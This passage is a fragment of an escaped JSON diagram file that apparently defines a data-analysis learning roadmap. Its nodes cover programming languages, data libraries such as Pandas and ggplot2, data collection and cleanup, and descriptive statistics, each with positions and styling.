\"Learn a Programming Lang.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"l1SnPc4EMqGdaIAhIQfrT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -87.42542199337953,\n        \"y\": 441\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4UNRDLVOlXSR5u6tdypth\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -420.5,\n        \"y\": 554.6000000000001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2183e4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -420.5,\n        \"y\": 554.6000000000001\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 95,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"g_EBQizZsIe-vn8ir6FTv\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"R\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 120.57457800662047,\n        \"y\": 369.60000000000014\n      },\n      \"width\": 61,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 120.57457800662047,\n        \"y\": 369.60000000000014\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 277,\n      \"height\": 49,\n      \"id\": \"M1QtGTLyygIjePoCfvjve\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -87.42542199337953,\n        \"y\": 494.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Manipulation Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"l1SnPc4EMqGdaIAhIQfrT\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -87.42542199337953,\n        \"y\": 494.8426822070478\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8OXmF2Gn6TYJotBRvDjqA\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pandas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TucngXKNptbeo3PtdJHX8\"\n      },\n      \"position\": {\n        \"x\": 236.13989797603216,\n        \"y\": 441\n      },\n      \"width\": 106,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.13989797603216,\n        \"y\": 441\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 277,\n      \"height\": 49,\n      \"id\": \"l1SnPc4EMqGdaIAhIQfrT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -87.42542199337953,\n        \"y\": 547.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Visualisation Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -87.42542199337953,\n        \"y\": 547.8426822070478\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uGkXxdMXUMY-3fQFS1jK8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Matplotlib\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E0hIgQEeZlEidr4HtUFrL\"\n      },\n      \"position\": {\n        \"x\": 236.49718479195076,\n        \"y\": 547.8426822070478\n      },\n      \"width\": 108,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.49718479195076,\n        \"y\": 547.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y__UHXe2DD-IB7bvMF1-X\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Dplyr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v8TfY-b4W5ygOv7r-syHq\"\n      },\n      \"position\": {\n        \"x\": 236.13989797603216,\n        \"y\": 494.8426822070478\n      },\n      \"width\": 106,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.13989797603216,\n        \"y\": 494.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E0hIgQEeZlEidr4HtUFrL\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Ggplot2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g_EBQizZsIe-vn8ir6FTv\"\n      },\n      \"position\": {\n        \"x\": 236.49718479195076,\n        \"y\": 600.8426822070478\n      },\n      \"width\": 108,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.49718479195076,\n        \"y\": 600.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 186,\n      \"height\": 49,\n      \"id\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -161.92542199337953,\n        \"y\": 716.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Collection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -161.92542199337953,\n        \"y\": 716.8426822070478\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r1ZlPtp7j6PFIdgrFrOx0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 89.11857813823781,\n        \"y\": 707.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mastering Data Handling\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 89.11857813823781,\n        \"y\": 707.8426822070478\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 269\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"tYPeLCxbqvMFlTkCGjdHg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t_BRtEharsrOZxoyX0OzV\"\n      },\n      \"position\": {\n        \"x\": -445.31525874602266,\n        \"y\": 664.9740268980099\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -445.31525874602266,\n        \"y\": 664.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iWOK0mRY-hAGxMnHYJ0tt\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"CSV Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -445.31525874602266,\n        \"y\": 717.9740268980099\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -445.31525874602266,\n        \"y\": 717.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4DFcXSSHxg5wv0uXLIRij\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -445.31525874602266,\n        \"y\": 770.9740268980099\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -445.31525874602266,\n        \"y\": 770.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qQ64ZhSlbbWu9pP8KTE67\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Web Scraping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -445.31525874602266,\n        \"y\": 823.9740268980099\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -445.31525874602266,\n        \"y\": 823.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 186,\n      \"height\": 49,\n      \"id\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -161.92542199337953,\n        \"y\": 854.5814615179639\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Cleanup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -161.92542199337953,\n        \"y\": 854.5814615179639\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X9WmfHOks82BIAzs6abqO\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Handling Missing Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t_BRtEharsrOZxoyX0OzV\"\n      },\n      \"position\": {\n        \"x\": 92.7005592047509,\n        \"y\": 801.5814615179639\n      },\n      \"width\": 236,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 92.7005592047509,\n        \"y\": 801.5814615179639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xltm7B-8TZ1-igLjVJXoR\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Removing Duplicates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t_BRtEharsrOZxoyX0OzV\"\n      },\n      \"position\": {\n        \"x\": 92.7005592047509,\n        \"y\": 854.5814615179639\n      },\n      \"width\": 236,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 92.7005592047509,\n        \"y\": 854.5814615179639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-rQ8h_6NFxEOhxXgo7LHo\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Finding Outliers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t_BRtEharsrOZxoyX0OzV\"\n      },\n      \"position\": {\n        \"x\": 92.7005592047509,\n        \"y\": 907.5814615179639\n      },\n      \"width\": 236,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 92.7005592047509,\n        \"y\": 907.5814615179639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t_BRtEharsrOZxoyX0OzV\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Data Transformation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": 92.7005592047509,\n        \"y\": 960.5814615179639\n      },\n      \"width\": 236,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 92.7005592047509,\n        \"y\": 960.5814615179639\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TucngXKNptbeo3PtdJHX8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pandas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v8TfY-b4W5ygOv7r-syHq\"\n      },\n      \"position\": {\n        \"x\": 92.7005592047509,\n        \"y\": 1060.5814615179638\n      },\n      \"width\": 115,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 92.7005592047509,\n        \"y\": 1060.5814615179638\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v8TfY-b4W5ygOv7r-syHq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Dplyr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E0hIgQEeZlEidr4HtUFrL\"\n      },\n      \"position\": {\n        \"x\": 211.7005592047509,\n        \"y\": 1060.5814615179638\n      },\n      \"width\": 117,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.7005592047509,\n        \"y\": 1060.5814615179638\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yx0ICrkjMA_VQdS9DROMb\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -203.42542199337953,\n        \"y\": 998.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Analysis Techniques\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"e4XykfZWOdb-M24a6mDxZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -203.42542199337953,\n        \"y\": 998.4045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 67\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"il6KQXVPGBza5libN38ib\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -402.821810236714,\n        \"y\": 1147.5814615179638\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Descriptive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -402.821810236714,\n        \"y\": 1147.5814615179638\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2ldO-_ZnIg364Eo8Jyfgr\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Dispersion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -711.321810236714,\n        \"y\": 735.9740268980099\n      },\n      \"width\": 212,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.321810236714,\n        \"y\": 735.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fyqg3MRcwY7g-Q3gjiqwK\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Distribution Space\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U55hwR0HRCIz2cveVR8FZ\"\n      },\n      \"position\": {\n        \"x\": -503.321810236714,\n        \"y\": 907.9740268980099\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.321810236714,\n        \"y\": 907.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"923KGEUG9ofBm7dYkkrxz\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Mean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tSxtyJhL5wjU0XJcjsJmm\"\n      },\n      \"position\": {\n        \"x\": -697.321810236714,\n        \"y\": 963.4045877729018\n      },\n      \"width\": 81,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -697.321810236714,\n        \"y\": 963.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qdXoikVh2xkJkOQNKcyvb\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Median\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ict4JkoVM-AzPbp9bDztg\"\n      },\n      \"position\": {\n        \"x\": -613.321810236714,\n        \"y\": 963.4045877729018\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -613.321810236714,\n        \"y\": 963.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fY8zVG2tVbmtx5OhY7hj-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Mode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SJLeose5vZU8w_18C8_t0\"\n      },\n      \"position\": {\n        \"x\": -697.321810236714,\n        \"y\": 1016.4045877729018\n      },\n      \"width\": 81,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -697.321810236714,\n        \"y\": 1016.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yn1sstYMO9du3rpfQqNs9\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Average\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SJLeose5vZU8w_18C8_t0\"\n      },\n      \"position\": {\n        \"x\": -613.321810236714,\n        \"y\": 1016.4045877729018\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -613.321810236714,\n        \"y\": 1016.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tSxtyJhL5wjU0XJcjsJmm\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Range\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ict4JkoVM-AzPbp9bDztg\"\n      },\n      \"position\": {\n        \"x\": -702.321810236714,\n        \"y\": 796.4045877729018\n      },\n      \"width\": 89,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 89,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -702.321810236714,\n        \"y\": 796.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ict4JkoVM-AzPbp9bDztg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Variance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -609.321810236714,\n        \"y\": 796.4045877729018\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -609.321810236714,\n        \"y\": 796.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MXIP8ekH4YtczODKM_G_l\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Standard Deviation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -701.321810236714,\n        \"y\": 849.4045877729018\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -701.321810236714,\n        \"y\": 849.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VfcCRRqwLxkYpIX0ZKNNX\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Skewness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -494.2994407952491,\n        \"y\": 963.4045877729018\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -494.2994407952491,\n        \"y\": 963.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PqGO8AU1zE2ZdtqrIrOkZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Kurtosis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -494.2994407952491,\n        \"y\": 1016.4045877729018\n      },\n      \"width\": 192,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -494.2994407952491,\n        \"y\": 1016.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n 